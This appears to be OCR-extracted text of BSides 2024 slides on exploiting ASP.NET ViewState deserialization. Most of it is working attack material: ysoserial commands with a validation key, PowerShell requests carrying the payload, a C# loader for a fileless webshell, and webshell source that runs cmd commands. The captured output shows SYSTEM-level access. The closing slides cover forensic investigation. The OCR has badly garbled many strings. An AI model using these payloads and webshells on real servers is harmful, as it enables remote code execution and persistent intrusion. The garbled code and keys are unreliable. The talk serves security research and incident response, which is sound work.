Description: An unhandled exception occurred during the execution of the current web request. Please review the stack trace for more information
about the error and where it originated in the code.
Exception Details: System.Web.HttpException: The state information is invalid for this page and might be corrupted.
Source Error:
[No relevant source lines]
Source File: c:\Windows\Microsoft.NET\Framework6ei\vi.0.30319\Temporary ASP.NET Files\root\e22c2559\92c7e9u6\App_Web_zfnhtxkj.1l.cs Line: ©
Stack Trace:
[InvalidCastException: Unable to cast object of type 'System.Collections.Generic.SortedSet'1[System.String]' to type 'System.Web.UI.Pair'.]
System.Web.UI.HiddenFieldPageStatePersister.Load() +208
[ViewStateException: Invalid viewstate.
Client IP: 127.0.0.1
Port: 30853
Referer:
Path: /keys.aspx
User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-AU) WindowsPowerShell/5.1.22621.4111
ViewState: /wEylxUJAAQAAAP////8BAAAAAAAAAAWCAAAASVYNS5c3R1bSwgVmVyc2lvbjOOoL jAuMCUwLCBDdWxOdXJLPW5LdXRyYuWwsIFB1YmxpY®@tleVRva2VuPWI3N2E1YzU2MTkzNGU

AN CA

ZEROED.TECH



Command

Reflectively loading .NET assemblies via ViewState

.\ysoserial.exe -p ViewState -g ActivitySurrogateSelectorFromFile -c
".\payload.cs;System.dll;System.Web.d1l1l" --validationalg="HMACSHA256" --
path="/keys.aspx" --apppath="/" --
validationkey="71763E86133F05D24A20142DA1DDE38095343494CAC4F6AD6C960OF68AECFA96EOAR493B5C
1927E42EBB963ECF8F9CDCCE6CO3DEOCO418986E269493B7F38732D" --islegacy --showraw

* -g ActivitySurrogateSelectorFromFile — Specifies the .NET gadget to use

 -c "Payload.cs;Imports" - The path to your payload.cs file followed by any
assemblies it needs to be linked against

 --showraw - Don’t URL encode the output 4 88 References
g Analyzers
o0 Systern
o0 Systern.Web

ke Eak L B EE, S

ZEROED.TECH


https://zeroed.tech/blog/bsides-2024-code/#ysoserial---reflectively-loading-net-assembly

Reflectively loading .NET assemblies via ViewState

$asm = .\ysoserial.exe -p ViewState -g ActivitySurrogateSelectorFromFile -c
"C:\inetpub\wwwroot\payload.cs;System.dll;System.Web.d11l" --
validationalg="HMACSHA256" --path="/keys.aspx" --apppath="/" --
validationkey="71763E86133F05D24A20142DA1DDE38095343494CACAF6AD6CO60OF68AECF
A9S6EOAO493B5C1927E42EBB963ECF8FO9CDCCE6CO3DEOCO418986E269493B7F38732D" --
islegacy --showraw

Invoke-WebRequest -Uri http://127.0.0.1/keys.aspx -Method POST -Body

@{__VIEWSTATE=$asm; path="C:\"}| | select -Expand Content

ZEROED.TECH



E

Invoke-WebRequest : Server Error in '/' Application.

The state information is invalid for this page and might be corrupted.

Description: An unhandled exception occurred during the execution of the current web request. Please review the stack trace for more information

about the error and where it originated in the code.

Exception Details: System.Web.HttpException: The state information is invalid for this page and might be corrupted.

Source Error:

[No relevant source lines]

Source File: c:\Windows\Microsoft.NET\Frameworkéu\vd.0.30319\Temporary ASP.NET Files\root\e22c2559\92c7e9U46\App_Web_zfnhtxkj.1l.cs Line: ©

Stack Trace:

[InvalidCastException: Unable to cast object of type 'State' to type 'System.Web.UI.Pair'.]

System.Web.UI.HiddenFieldPageStatePersister.Load() +208
[ViewStateException: Invalid viewstate.
Client IP: 127.0.0.1
Port: 12643
Referer:
Path: /keys.aspx
User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-AU) WindowsPowerShell/5.1.22621.4111
ViewState: /wEyiGEAAQAAAP////8BAAAAAAAAAAWCAAAAVINSc3R1bS5XaW5kb3dzLkZvemlzL CBWZXJzaW9uPTQuMCUwL jAsIEN1bHR1ecmU9bmV1dHIhbCwgUHVibGLjS2V5VGOrZWL
9Yjc3Y

TVjNTYxOTMOZTA4OQUBAAAAIVNSc3R1bS5XaW5kb3dzLkZvemlzLKFUSG9zdCtTdGFOZQEAAAARUHIvcGVydHLCYWdCaW5henkHAgIAAAAJAwAAAABDAAAAxyBAAATAAQAAAP/ // /8BAAAAAAAAAA

QBAAAAFIN5c3RLbS5Db2xsZWN@aW9ucy5HZWS LemljLkxpc3RgMVtbU31zdGVELk9iamVjdCwgbXNjb3JsaWIsIFZ1lcnNpb2d9NCUwL jAUMCwgQ3VsdHVyZT1uZXVecmFsLCBQdWIsaWNLZX1Ub2t

1bj1iNzdhNWMINFE5MzRLMDg5XVODAAAABLIpdGVtcwVfc216ZQhfdmVyc21vbgUAAAGICQIAAAAKAAAACGAAABACAAAAEAAAAAKDAAAACQQAAAAIBQAAAAKGAAAACOCAAAAJCARAAAKIAAAACQOA

AAAJCwAAAAKMAAAADQYHAWAAAAEBAAAAAQAAAACCCQOAAAAMDgAAAGFTeXNOZWOuVY29ya27Zsb3cuQ29tcGIuZWS0TWIKZWwsIFZlenNpb2U9NCHwL jAuMCwgQ3VsdHVyZT1uZXVOcmFsLCBQdWIsa

WNLZX1Ub2t1bj0zMWImMzg1NmFkMzYOZTM1BQQAAABqU31zdGVtLldvemtmbGI3LKNvbXBvbmVudE1vZGVsLINLemLlhbGL6YXRpb2duQWNeaXz. . . ]

[HttpException (0x8000UBE5): The state information is invalid for this page and might be corrupted.]
System.Web.UI.ViewStateException.ThrowError(Exception inner, String persistedState, String errorPageMessage, Boolean macValidationError) +161
System.Web.UI.HiddenFieldPageStatePersister.Load() +332
System.Web.UI.Page.LoadPageStateFromPersistenceMedium() +377
System.Web.UI.Page.LoadAllState() +U46
System.Web.UI.Page.ProcessRequestMain(Boolean includeStagesBeforeAsyncPoint, Boolean includeStagesAfterAsyncPoint) +9298
System.Web.UI.Page.ProcessRequest(Boolean includeStagesBeforeAsyncPoint, Boolean includeStagesAfterAsyncPoint) +355
System.Web.UI.Page.ProcessRequest() +79
System.Web.UI.Page.ProcessRequest(HttpContext context) +7u
ASP.keys_aspx.ProcessRequest(HttpContext context) in c:\Windows\Microsoft.NET\Frameworkéd\vd.0.30319\Temporary ASP.NET

Files\root\e22¢2559\92c7e946\App_Web_zfnhtxkj.1l.cs:0
System.Web.CallHandlerExecutionStep.System.Web.HttpApplication.IExecutionStep.Execute() +537
System.Web.HttpApplication.ExecuteStepImpl(IExecutionStep step) +172
System.Web.HttpApplication.ExecuteStep(IExecutionStep step, Boolean& completedSynchronously) +93

Version Information: Microsoft .NET Framework Version:d4.0.30319; ASP.NET Version:4.8.9261.0

At line:1 char:1

+ Invoke-WebRequest —Uri http://127.0.0.1/keys.aspx —Method POST -Body

+

+ CategoryInfo : InvalidOperation: (System.Net.HttpWebRequest:HttpWebRequest) [Invoke-WebRequest], WebException
+ FullyQualifiedErrorId : WebCmdletWebResponseException K Microsoft.PowerShell.Commands.InvokeWebRequestCommand



Reflectively loading .NET assemblies via ViewState

Response.Write(sb.ToString());

+ Response.End();

HttpResponse.End Method

Reference ¢ Feedback

Definition

Namespace: System.Web

Assembly: System.Web.dl|

Sends all currently buffered output to the client, stops execution of the page, and raises the

EndRequest event.

Ci# ] Copy

public void End ();
ZEROED.TECH



Reflectively loading .NET assemblies via ViewState

$asm = .\ysoserial.exe -p ViewState -g ActivitySurrogateSelectorFromFile -c
"C:\inetpub\wwwroot\payload.cs;System.dll;System.Web.d11l" --
validationalg="HMACSHA256" --path="/keys.aspx" --apppath="/" --
validationkey="71763E86133F05D24A20142DA1DDE38095343494CACAF6AD6CO60OF68AECF
A9S6EOAO493B5C1927E42EBB963ECF8FO9CDCCE6CO3DEOCO418986E269493B7F38732D" --
islegacy --showraw

Invoke-WebRequest -Uri http://127.0.0.1/keys.aspx -Method POST -Body
@{ VIEWSTATE=$asm; path="C:\"} | select -Expand Content

ZEROED.TECH



PS C:\Users\Zeroed\Downloads\ysoserial-1dba9cil416ba6e79b6b262bT758Fa75e2ee9008e9\Release> $asm
"C:\inetpub\wwwroot\payload.cs;System.dll;System.Web.dll"

torFromFile

PS C:\Users\Zeroed\Downloads\ysoserial-1dba9cuuUl6babe79b6b262b758fa75e2ee9008e9\Release> Invoke-WebRequest

.\ysoserial.exe

T @{__VIEWSTATE-$asm; path="C:\"} | select Content

Name Last Access Time Last Write Time Creation Time Size
$GetCurrent 23/08/2024 3:u8:24 AM 20/02/2023 11:04:07 AM 20/02/2023 10:26:06 AM
$Recycle.Bin 20/09/2024 8:26:55 AM 7/05/2022 8:15:03 PM 5/06/2021 12:10:48 PM
$WINDOWS. ~BT 23/08/2024 3:u8:25 AM 27/603/2024 10:42:52 PM 27/03/2024 10:42:49 PM
$Windows . ~WS 23/08/2024 3:u8:25 AM 25/03/2024 6:21:10 AM 25/03/2024 6:21:10 AM

AMD 23/68/2024 3:uU8:25 AM 4/08/2024 6:19:21 AM 13/01/2023 6:06:42 AM

android 23/08/2024 3:u48:25 AM 10/02/2024 2:57:10 AM 10/02/2024 2:57:10 AM
Documents and Settings 7/05/2022 5:09:36 PM 7/05/2022 5:09:36 PM 7/05/2022 5:09:36 PM

ESD 23/08/2024 3:u8:25 AM 25/03/2024 7:00:46 AM 25/03/2024 4:44:31 AM

inetpub 20/09/2024 12:09:38 PM 7/06/2024 11:52:20 PM 20/02/2023 10:43:u44 AM

libs 23/08/2024 3:u48:12 AM 3/07/2024 5:58:35 AM 19/12/2023 4:45:16 AM

msys64 20/09/2024 11:32:25 AM 30/06/2024 7:15:42 AM 11/05/2022 12:49:53 PM
PerflLogs 20/09/2024 8:25:35 AM 7/05/2022 5:24:50 AM 7/05/2022 5:2uU4:50 AM

Program Files 20/09/2024 12:09:32 PM 20/09/2024 10:07:15 AM 7/05/2022 5:24:50 AM

Program Files (x86) 20/09/2024 12:06:21 PM 18/08/2024 3:52:05 AM 7/05/2022 5:24:50 AM
ProgramData 20/09/2024 11:55:uU0 AM 2/06/2024 12:02:36 AM 7/05/2022 5:2uU:50 AM

Recovery 14/08/2024 12:03:17 AM 14/07/2023 3:01:32 AM 7/05/2022 5:09:37 PM
Ruby32-x6Ll 20/09/2024 11:32:26 AM 27/08/2023 1:32:01 AM 27/08/2023 1:31:u4 AM

src 20/09/2024 8:U5:03 AM 14/65/2022 12:02:05 AM 7/05/2022 9:39:54 PM

System Volume Information 20/09/2024 4:26:18 AM 19/09/2024 6:30:10 AM  7/05/2022 5:07:57 PM

temp 23/08/2024 3:u8:28 AM 2/12/2022 5:59:31 AM 2/12/2022 5:59:31 AM

Users 20/09/2024 12:09:39 PM 10/08/2024 11:39:57 PM 7/05/2022 5:17:22 AM

Windows 20/09/2024 12:09:38 PM 20/09/2024 10:07:15 AM 7/05/2022 5:17:22 AM

XboxGames 20/09/2024 10:39:11 AM 12/09/2023 4:01:08 AM 12/12/2022 6:03:23 AM
ysoserial.net 23/08/2024 3:u8:30 AM 21/07/2023 4:54:18 AM 21/07/2023 4:54:17 AM
.GamingRoot 20/09/2024 7:54:11 AM 12/12/2022 6:03:23 AM 12/12/2022 6:03:23 AM 28
appverifUI.dll 20/09/2024 9:52:16 AM 21/02/2024 3:33:48 PM 21/02/2024 3:33:48 PM 112136
DumpStack. log 29/08/2023 1:08:u40 AM 26/08/2023 3:U42:26 AM 7/05/2022 5:07:59 PM 12288
DumpStack.log.tmp 11/09/2024 11:16:14 AM 11/09/2024 11:16:14 AM 7/05/2022 5:07:59 PM 12288
hiberfil.sys 11/09/2024 11:16:09 AM 11/09/2024 11:16:09 AM 7/05/2022 5:09:31 PM 13635358720
pagefile.sys 20/09/2024 12:00:37 PM 20/09/2024 12:00:37 PM 7/05/2022 5:07:57 PM 24282226688
swapfile.sys 11/09/2024 11:16:14 AM 11/09/202d 11:16:1d4 AM 7/05/2022 5:07:59 PM 16777216
vfcompat.dll 14/07/2024 1:04:07 AM 21/02/2024 3:34:14 PM 21/02/2024 3:34:14 PM 66328
viewstate.txt 11/03/2024 9:33:28 AM 11/03/2024 9:33:28 AM 9/03/2024 11:02:08 PM 21

ActivitySurrogateSelec

http://127.0.0.1/keys.aspx



1 reference
class G
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I 0 references

public G{()

{

/f Author: Soroush Dalili (@irsdl)

/! basegd-encoded version of a webshell.aspx file

string webshellContentsBase64 =

"PCYAIExhbmd1YWd1PSIDIYI1PgpUaGlzIGlzIHR0ZSBhdHRhY2t1cidzIGZpbGUgPGIyLz4KUnVubmluZyBvbiBBaGUgc 2VydmyyIGImIGASITOxMzMALTE1PmAgaXMegM
TMzNyd=";

string webshellType = ".aspx";

string webshellContent = System.Text.Encoding.UTF&.GetString(System.Convert.FromBase645tring(webshellContentsBase64d));

string rootPath = System.Web.HttpContext.Current.Request.CurrentExecutionFilePath.TrimEnd("/").ToLower();
/f removing the application name when making the virtual directory
int index = rootPath.IndexOf(System.Web.HttpContext.Current.Request.ApplicationPath.TolLower());
if (index >= @)
rootPath = rootPath.Remove(index, System.Web.HttpContext.Current.Request._ApplicationPath.Length);

/f fiddle with targetVirtualPath if needed and you know what path can be used to create the virtual path
string prefix = "";
if (rootPath.LastIndex0f("/") » @)

prefix = rootPath.Substring(@, rootPath.LastIndex0f("/"));

string targetVirtualPath = prefix + "/fakepath31337/";

targetVirtualPath = targetVirtualPath.Replace("//", "/");

//System.Web.HttpContext.Current.Response.AddHeader ("INFO", System.Web.Compilation.BuildManager.IsPrecompiledfpp.ToString()); //

info leak

//System.Web.HttpContext.Current.Response.AddHeader("via"”, "yso"); // beacon

try OED.TECH
I



1 reference
class G

H K
I 0 references

public G{()
{

[/ Autho

// base6
string w
"PCVAIEx
TMzNy4="
string w
string w

string r
[/ remov
int inde
if (inde

root

/f fiddl
string p
if (root

pref

string té

targetVi

{ fSystem
info lea
{fSystem

try
7

Recipe

To Base64

A-Za-z0-9+/=

~Om7N

~ O

Input + O e =

<%@ Page Language="C#" Debug="true"™ %>

<%@ Import Namespace="System.Diagnostics" %>

<%@ Import Namespace="System.Web" %>

<%@ Import Namespace="System.IO" %>

<%@ Import Namespace="System.Security.Principal™ %>

<%
var output = |,
var error = "";

switch(Request.Params["function"]){

case "emd":{
Process process = new Process();
process.StartInfo.FileName = "cmd";
process.StartInfo.Arguments = "/c "+Request.Params["cmd"];
process.StartInfo.UseShellExecute = false;
process.StartInfo.RedirectStandardOutput = true;
process.StartInfo.RedirectStandardError = true;
process.Start();
output += process.StandardOutput.ReadToEnd();
error += process.StandardError.ReadToEnd();
process.WaitForExit();
break;

}

case "whoami”:{
string userName = WindowsIdentity.GetCurrent().Name;
string sid = WindowsIdentity.GetCurrent().Owner.ToString();
output += "User: "+userName+"\nSID: "+sid;
break;

}

case “dir":{
StringBuilder sb = new StringBuilder();
var targetPath = Request.Params["path"];
var formatString = "{@,-25}\t{1,-20}\t{2,-20}\t{3,-20}\t{4}";
sb.AppendLine(string.Format(formatString, “Name"”, "Last Access Time", “"Last

Writa Time" “Creation Time" "Siza"))-
we 2495 = 56 Q 238

B0mE::

PCVAIFBhZ2UgTGFuZ3VhZ2USIkMjIiBEZWI1Zz0idHI1ZSIgITANCjwlQCBIbXBvenQgTmFtZXNwYWNIPSITeXNOZW
@URG1hZ25vCc3RpY3MiICU+DQo8IUAgSW1wb3I@IEShbWVZCcGFjZT@iU312zdGVtL1d1YiIgI T4ANCiwlQCBIbXBvcnQg
TmFtZXNwYWN1PSJITeXNeZWeuSU8iICU+DQo8IUAgSW1wb3J@IEShbWVzcGFjZTOiU31zdGVtL1N1Y3VyaXR5L1ByalW
5jaXBhbCIgIT4NCg@KPCUNCiAgICB2YXIgb3VecHVeIDAgIiI7DQogICAgdmFy IGVycmOyID@gIiI7DQogICAgc3dp
dGNoKFI1cXV1c3QuUGFyYW1zWyImdW5jdGlvbiIdKXsNCiAgICAgICAgY2FzZSAiV21kIjp7DQogICAgICAgICAEIC
BQcm9jZXNzIHByb2N1c3MgPSBuZXcgUHIVY2VzcygpOweKICAgICAgICAgICAgcHIVY2Vzcy5TdGFydEluZm8uRmls
ZUShbWUgPSAiY21kIjsNCiAgICAgICAgICAgIHBYb2N1 c3MuU3RhcnRIbmZvLkFyZ3VtZW50cyA9ICIVYyAiK1I1lcX
V1c3QuUGFyYW1zWyJjbWQiXTsNCiAgICAgICAgICAgTHBYb2N1c3MuU3RhcnRIbmZyL1VZzZVNoZWxsRXh1Y3VOZSAS
IGZhbHN1OWBKICAgICAgICAgICAgcHIVY2Vzcy5TdGFydEluZm8uUmVkaXJ1Y3RTdGFUZGFyZE91dHB1dCA9THRydW
U7DQogICAgICAgICAgICBWcmSjZXNzL IN@YXI@SW5mby 5SZWRpcmVjdFN@YWSkYXIKRXIyb3IgPSBcnV10weKICAg
ICAgICAgICAgcHIVY2Vzcy5TdGFydCgpOw@KICAgICAgICAgICAgb3VOCcHVOICS9IHBYb2N1c3MuU3RhbmRhemRPdX

Output £

1zM4L TE1PmAgaXMgM

4));

Tr Raw Bytes ¢ CRLF (detected)

oString()); //

OED.TECH


https://zeroed.tech/blog/bsides-2024-code/#all-in-one-shell---dir

0 references

public G()

[ ]
FII // Author: Soroush Dalili (@irsdl)

/{ basedd-encoded version of a webshell.aspx file
string webshellContentsBasegd =
"PCVAIFBhZ2UgTGFuZ3VhZ2U9TkMjIiBEZWI17z81dHI175TgITANC jwlQCBIbXBvenQe TmFEZXNwYWN1PSITeXNeZWBuRG1hZ 25vc3RpY3IMIICU
+DQo8IUAgSWIWb3I8IEShbWVzZcGFjZT@iU31zdGVELLd1YITgITANC jwlQCEIbXBvcnQg TmF LZXNWwYWNIPS I TeXNeZWeuSUsiIcy
+DQo8IUAZSWIWb3I8IEShbIVZcGFjZTe1iU31zdGVELIN1Y3VyaXR5L1ByalsjaXBhbCIg] TANCEOKPCUNCiAgICB2YXIgh3VacHVeIDagIi17DQogICAgdmFyIGVy cmoyT
DegIiI7DQogICAgc3dpdGNoKFI1cXV1c3QuUGFy YW1 zWyImdWsjdGlvbildKXsNCiAgICAgICAGY2FzZSAiY21kIjp7DQogICAgICAgICAZICBQCmOjZXNzIHByb2N1c3M
gPSBUZXcgUHIvY2VzcygpOweKICAgICAgICAgICAgCHIVY2Vz ey STdGFydEluZmBuRmlsZUShbWUgPSAIY21kI jsNCIAgICAgICAEICAgIHBYb2N1c3MuU3RhecnRIbmZvL
kFyZ3VtZW58cyASTCIVvYyAiK1I 1cXV1c3QuUGFyYW1zWy ] jbWQiXTsNCiAgICAgICAgICAgIHBYb2N1 c3MuU3RhenRIbmZvL1VzZVNoZWixsRXh1Y3VOZSASIGZ hbHN1OWe
KICAgICAgICAZICAgCHIVY2VzcySTdGFydEluZm8ulmvkaXJ1Y3RTdGFUZGFyZE91dHB1dCASIHRY dWU7DQogICAEICAgICAEICBWCmIjZXNzLINSYXIasSWsmby5SZHRpC
mVjdFN@YWSkYXIkRXJyb3IgPSBecnV]10weKICAgICAZICAEICAgCHIVY 2VzZ cySTdGFydCgpOweKICAgICAgICAEICAgb3VBcHVeICs9IHBYb2N1 c3MuU3RhbmRhcmRPdXR
wdXQuUmVhZ FRvRWSkKCk7DQogICAgICAgICAgICBlcnIvciArPSBwem9 jZXNz L INBYWSkYXIkRXJyb3 TuUmvhZ FRVRWS kKCk7DQogICAgICAgICAgICBwcmAjZXNzL1dha
XRGb3JFeGleKCk7DQogICAgICAEICAEICBIcmVhaz sNCiAETCAgICAE FQBKICAEICAZICBjYXN1ICI3aGohblkiOnsNCiAgICAETCAgICAETHNBCMIUZYB1C2Vy TMFLZSA
9IFdpbmRvd3NIZGVudG1leeS5HZXRDAXIyZWSBKCkuTmFtZTsNCiAgTCAgTICAEICAgTHNACm] uZyBz akiQgPSEXakskb3dzSKHR1bnRpdHkuR2VEQ3Vy cmvudCgpl k93bmvyL
1RvU3RyaW5nKCk7DQogICAgICARTCAEICBVdXRwdXQgKzegT1VzZXI6ICT rdXN1 ckShbWUrT 1xuU@1 EQIAiK3NpZDSNCiAgICAEICARTCAETGIYZWFrOweK ICAETCAZICE
9DQogICASICASIGNhc2UgImRpciI6oewsKICASICAZTCAEICABU3RyaWSnQNVpbGR1ciBzYiA91G51dyBTdHIpbmdCdwW] s7GVyKCk7DQogICASICASICASTCB2YXIgdGFyZ
2VBUGFBaCA9TFI1cXV]c3QuUGFyYW1zWy JwYXRoI187DQogICAETCASTCASTCE2YXIgZmOybWFBU3Ry aWSsnIDBg Tnswl CayNX1cdHsxLCByMH1cdHsy LCByMH1cdHsz L Ca
yMH1cdHsBFSI7DQogICAEICASTCAgTCBzY 15BcHBl bmRMaWS 1KHNBcmluZy56b31tYX0oZmoybWFEU3RyaWSnLCAI TmFEZSIsTCIMYXNBIEFjY2VzoyBUaW1 1 TiwgTkxhe
3QgV3J1pdGUgVGltZSIsICIDemVhdGlvbiBUaW11Tiwg T 1NpemUiKSk7DQogICAgICAZICAgICBZY15BcHB1bmRMals1KCIOPTE9PTEOPTEOPTEOPTEOPTESPTEOPTOAPTE
9PTE9PTEOPTEOPTBOPTEOPTEOPTEOPTEOPTOOPTEOPTEOPTESPTEOPTOSPTOOPTEOPTEOPTEOPTEOPTOOPTAOPTAOPTEBOPTEOPTEOPTEOPTEOPTROPTOIKTSNCIASTCAET
CAgICAgIGZvemVhY2godmFyIHBhdGggalldgRGlyZWNeb3 5L kd1dERpcmY jdGaeyalvzKHRhcmd 1dFEhdGgpKQ@KICAgICAgICAgICAgewdKICAgICAgICAEICAgICAgIHZ
hciBkaXJ1Y3RvcnkgPSBuZXcgRG1y ZWNAb3I55W5mbyhwYXRoKTsNCIAgICAgICAgICAgICAgICBzYiSBcHB1bmRMaWs IKHNGcmluZy 5Gb3 ItYXQoZmOybWFaU3Ryak5nL
CBkaXJ1lY3RvcnkuTmFtZSwgZGlyZWNeb315Lkxhe3RBY2N1c3INUaW1IVXRjLCBkaXJ1Y3RvenkuTGFzdFdyaXRIVG1EZVVEYywegZGlyZWNOb3 15 LkNy ZWFBaWouVGltZVY
BYywgliIpKTsgDQogICAgICAgICAZICBIDQoNCIiAgICAEICAgICAEIGZvemVhY2ggKHZhc IBwYXRoIGLuIERpemYjdGOyeSSHZXRGaWx1cyhBYXInZXRQYXRoKSkNCiAgT
CAgICAgICAgIHSNCiAgICAEICAgICAEICAgICE2YXIgZml sZSA9IG5]dyBGakx1ShombyhwYXRoKTsNCIAgICAgICAZICAEICAEICBZY5BcHB1bmRMaWS1KHNGcmIuZyS
Gb3JtYXQoZmSybWFBU3Ryak5nLCBmakix1Lk5hbWUsIGZpbGUuUTGFzdEF jY2Vzc1RpbWWWdGMsIGZpbGUUTGFzdFdyaXR1VG1tZWWeYywgZmlsZS5DecmvhdGlvb1RpblWwvd
GMs IGZpbGUUTGVUZ 3RoKSk7TABKICAgICAZICAgICAE FOBKTICAgICAgICAgICAgb3VACHVAICSOTHNI L1RVU3RyaW5nKCk7DQogI CAgICAgICAEICBI cmhazsNCiAgICA
gICAZfQBKICAZIHONCIAgICANCiIAgICAVL1I1c3BvbnN1L1dyaXR1KCI8cHI1PiIpOwBKICAgIFI1c3BvbnNlLl1dyaXR1KEh8dHBYdG]saXR5Lkh@blxFbmNvZGUob3vec
HVBKSk?DQogICAgUmUchQucQUuUB]pdGUoSHRBcFV@awxpdHkuSHRtbEVuY29kZSh1cnJvciprwBKICAgICSvavchQUCZUuVBJpdGUquwvcH]lPinGwBKJT44"; -
ML

AttaCkin( string webshellType = ".aspx”; |
5 string webshellContent = System.Text.Encoding.UTF&.GetString(System.Convert.FromBase64String(webshellContentsBasebd)); —/

BSideS ( IED.TECH




Fileless webshells via ViewState

string prefix = "";
if (rootPath.LastIndexCf("/") > @)

pretix = rootPath.Substring(@, rootPath.LastIndexOf("/"));
string targetVirtualPath = prefix + "/bsides2824/";

targetVirtualPath = targetVirtualPath.Replace("//™, "/");

ZEROED.TECH



Fileless webshells via ViewState

System.Web.HttpContext.Current.Server.Execute(targetVirtualPath + "ghostfile” + (new System.Random()).Next(18e8) +
webshellType);

ZEROED.TECH



Command

Fileless webshells via ViewState

.\ysoserial.exe -p ViewState -g ActivitySurrogateSelectorFromFile -c
".\GhostWebShell.cs;System.dll;System.Web.dll;System.Data.dll;System.Xml.dll;System.Runt
ime.Extensions.dll" --validationalg="HMACSHA256" --path="/keys.aspx" --apppath="/" --
validationkey="71763E86133F05D24A20142DA1DDE38095343494CAC4F6AD6C960OF68AECFA96EOAR493B5C
1927E42EBB963ECF8F9CDCCE6CO3DEOCO418986E269493B7F38732D" --islegacy --showraw

$asm = .\ysoserial.exe -p ViewState -g ActivitySurrogateSelectorFromFile -c
".\GhostWebShell.cs;System.dll;System.Web.dll;System.Data.dll;System.Xml.dl
1;System.Runtime.Extensions.dll"” --validationalg="HMACSHA256" --
path="/keys.aspx" --apppath="/" --
validationkey="71763E86133F05D24A20142DA1DDE38095343494CACAF6AD6CO60OF68AECF
A96EOAB493B5C1927E42EBB963ECF8F9CDCCE6CO3DEOCO418986E269493B7F38732D" --
islegacy --showraw

Invoke-WebRequest -Uri http://127.0.0.1/keys.aspx -Method POST -Body
@{__VIEWSTATE=$asm;} | select -Expand Content

ZEROED.TECH


https://zeroed.tech/blog/bsides-2024-code/#ysoserial---ghostshell

Command

Fileless webshells via ViewState

.\ysoserial.exe -p ViewState -g ActivitySurrogateSelectorFromFile -c
".\GhostWebShell.cs;System.dll;System.Web.dll;System.Data.dll;System.Xml.dll;System.Runt

ime.Extensions.dll" --validationalg="HMACSHA256" --path="/keys.aspx" --apppath="/" --
validationkey="71763E86133F05D24A20142DA1DDE38095343494CAC4F6AD6C960OF68AECFA96EOAR493B5C

1927E42EBB963ECF8F9CDCCE6CO3DEOCO418986E269493B7F38732D" --islegacy --showraw

PS C:\Users\Zeroed\Downloads\ysoserial\Release> $asm .\ysoserial.exe ViewState ActivitySurrogateSelectorFromFile ".\GhostWebShell.cs;System
.dll;System.Web.dll;System.Data.dll;System.Xml.dll;System.Runtime.Extensions.dll"

PS C:\Users\Zeroed\Downloads\ysoserial\Release> Invoke-WebRequest http://127.0.0.1/keys.aspx POST @f__VIEWSTATE-$asm;} | select
Content

PS C'\Users\Zeroed\Downloads\ysoseriaL\Release>|
SRR I =y — e GRS -

validationkey= "71763E86133F@5D24A2@142DA1DDE38095343494CAC4F6AD6C960F68AECF
A96EOAR493B5C1927E42EBB963ECF8F9CDCCE6CO3DEQCO418986E269493B7F38732D" --

islegacy --showraw

Invoke-WebRequest -Uri http://127.0.0.1/keys.aspx -Method POST -Body
@{__VIEWSTATE=$asm;} | select -Expand Content

ZEROED.TECH


https://zeroed.tech/blog/bsides-2024-code/#ysoserial---ghostshell

Fileless webshells via ViewState
* http://127.0.0.1/[DIRECTORY]/[ANYTHING].aspx?[PARAMS]

&Y 127.0.0.1/bsides2024/zeroed.a: X +

< C l] @ 127.0.0.1/bsides2024/zeroed.aspx?function=whoami

User: NTAUTHORITY'\SYSTEM SID: S-1-5-18

@ 127.0.0.1/bsides?2024/zercedd.: X —+

< C [l ® 127.0.0.1/bsides2024/zeroed.aspx?function=dir&path=C:\windows

Last Access Time Last Write Ti Creation Time

addins 23/068/2024 3:48:29 AM  20/02/2023 10:42:47 AM 20/02/2023 10:42:47 AM
appcompat 20/689/2024 7:51:54 AM  10/08/2023 12:14:51 PM 7/@5/2022 5:24:50 AM

apppatch 20/089/2024 11:49:46 PM 12/09/2024 1:48:28 PM  7/@5/2022 5:24:50 AM
AppReadiness 20/89/2024 9:52:56 AM  20/09/2024 9:52:56 AM  7/@5/2022 5:24:50 AM
assembly 15/89/2024 12:4@:17 AM 22/08/2024 10:34:17 PM 7/85/2022 5:24:50 AM
bcastdvr 11/e9/2024 1©:22:52 AM 11/09/2024 1©:22:52 AM 7/@5/2022 5:24:50 AM




Fileless webshells via ViewState
* http://127.0.0.1/[DIRECTORY]/[ANYTHING].aspx?[PARAMS]

&Y 127.0.0.1/bsides2024/zeroed.a: X +

< @y (] @ 127.0.0.1/bsides2024/zeroed.aspx?function=whoami
PS C:\Uéers\Zeroed\Downloads\ysoserial\Release> Invoke-WebRequest http://127.0.0.1/bsides2024/zeroed.aspx POST @{function="whoami"}
| select Content

<pre>User: NT AUTHORITY\SYSTEM
SID: S-1-5-18</pre>

PS C:\Users\Zeroed\Downloads\ysoserial\Release> Invoke-WebRequest http://127.0.0.1/bsides2024/zeroed.aspx POST @{function="dir";pat
h="C:\windows"} | select Content

<pre>Name Last Access Time Last Write Time Creation Time Size

addins 23/08/2024 3:48:29 AM 20/02/2023 10:42:47 AM 20/02/2023 10:42:47 AM

appcompat 20/09/2024 7:51:54 AM 10/08/2023 12:14:51 PM 7/05/2022 5:24:50 AM

apppatch 21/09/2024 9:25:38 AM 12/69/2024 1:48:28 PM 7/05/2022 5:24:50 AM

AppReadiness 20/09/2024 9:52:56 AM 20/09/2024 9:52:56 AM 7/05/2022 5:24:50 AM

assembl 15/09/2024 12:40:17 AM 22/08/2024 10:34:17 PM 7/05/2022 5:24:50 AM

Creation Time

addins 23/068/2024 3:48:29 AM  20/02/2023 10:42:47 AM 20/02/2023 10:42:47 AM
appcompat 20/689/2024 7:51:54 AM  10/08/2023 12:14:51 PM 7/@5/2022 5:24:50 AM

apppatch 20/089/2024 11:49:46 PM 12/09/2024 1:48:28 PM  7/@5/2022 5:24:50 AM
AppReadiness 20/89/2024 9:52:56 AM  20/09/2024 9:52:56 AM  7/@5/2022 5:24:50 AM
assembly 15/89/2024 12:4@:17 AM 22/08/2024 10:34:17 PM 7/85/2022 5:24:50 AM
bcastdvr 11/e9/2024 1©:22:52 AM 11/09/2024 1©:22:52 AM 7/@5/2022 5:24:50 AM



ViewState Conclusion

Poorly understood
Difficult to exploit
Difficult to analyse
Difficult to remediate
Cannot be patched
Cannot be disabled



View State Investigation



View State Investigation

* IIS Logs
* Most payloads requite POST requests

* Windows Event Logs
* Only one event available

* Memory
* Required a bit of luck
* Memory must be captured close to the time of the activity



View State Investigation — IIS Logs

C: > inetpub > logs > LogFiles > W3SVC1 > B u_ex240921_xlog

#Software: Microsoft Internet Information Services 16.9

#Version:
